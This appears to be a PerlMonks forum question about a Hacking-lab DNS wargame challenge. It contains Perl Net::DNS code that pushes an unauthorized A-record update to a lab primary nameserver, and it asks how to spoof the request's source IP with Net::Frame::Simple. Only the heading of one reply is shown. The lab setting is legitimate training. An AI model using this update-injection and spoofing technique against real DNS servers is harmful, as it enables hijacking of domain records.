sagarkha has asked for the wisdom of the Perl Monks concerning the following question:
Hello Monks I am trying to solve a challenge at Hacking-lab.com. It is completely ethical. https://www.hacking-lab.com/cases/7010-network-security-dns-host-name-change/7010-dns-host-name-change-attack-wargame-122434qwerkkkfp.html?event=400&case=13 The challenge is to change the A record on Primary DNS server, they are recommending scapy(tool written in python) to do so. But I am trying to do it with Perl. I have modified Net::DNS to acheive this.Here is my code
#!/usr/bin/perl -w use strict; use Net::DNS; # Create the update packet. my $update = Net::DNS::Update->new('evil.zz'); # Prerequisite is that no A records exist for the name. $update->push(prerequisite => nxrrset('hacker11.evil.zz. A')); # Add two A records for the name. $update->push(update => rr_add('hacker11.evil.zz. 86400 A 127.0.0.1 +')); # $update->push(update => rr_add('foo.example.com. 86400 A 172.16.3 +.4')); # Send the update to the zone's primary master. my $res = Net::DNS::Resolver->new; $res->nameservers('192.168.200.113'); my $reply = $res->send($update); # Did it work? if ($reply) { my $rcode = $reply->header->rcode; print 'Update ', $rcode eq 'NOERROR' ? "succeeded\n" : "failed +: $rcode\n"; } else { print 'Update failed: ', $res->errorstring, "\n"; }
This code is working fine but to accomplish the task properly i need to change Source IP of this DNS request. I know one can change his source IP while creating a packet though Net::Frame::Simple etc. But how to use it in my case. Please let me know if you need further clarification.
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: How to use Net::DNS:: Update with Net::Frame::Simple
by VinsWorldcom (Prior) on Mar 04, 2013 at 02:16 UTC |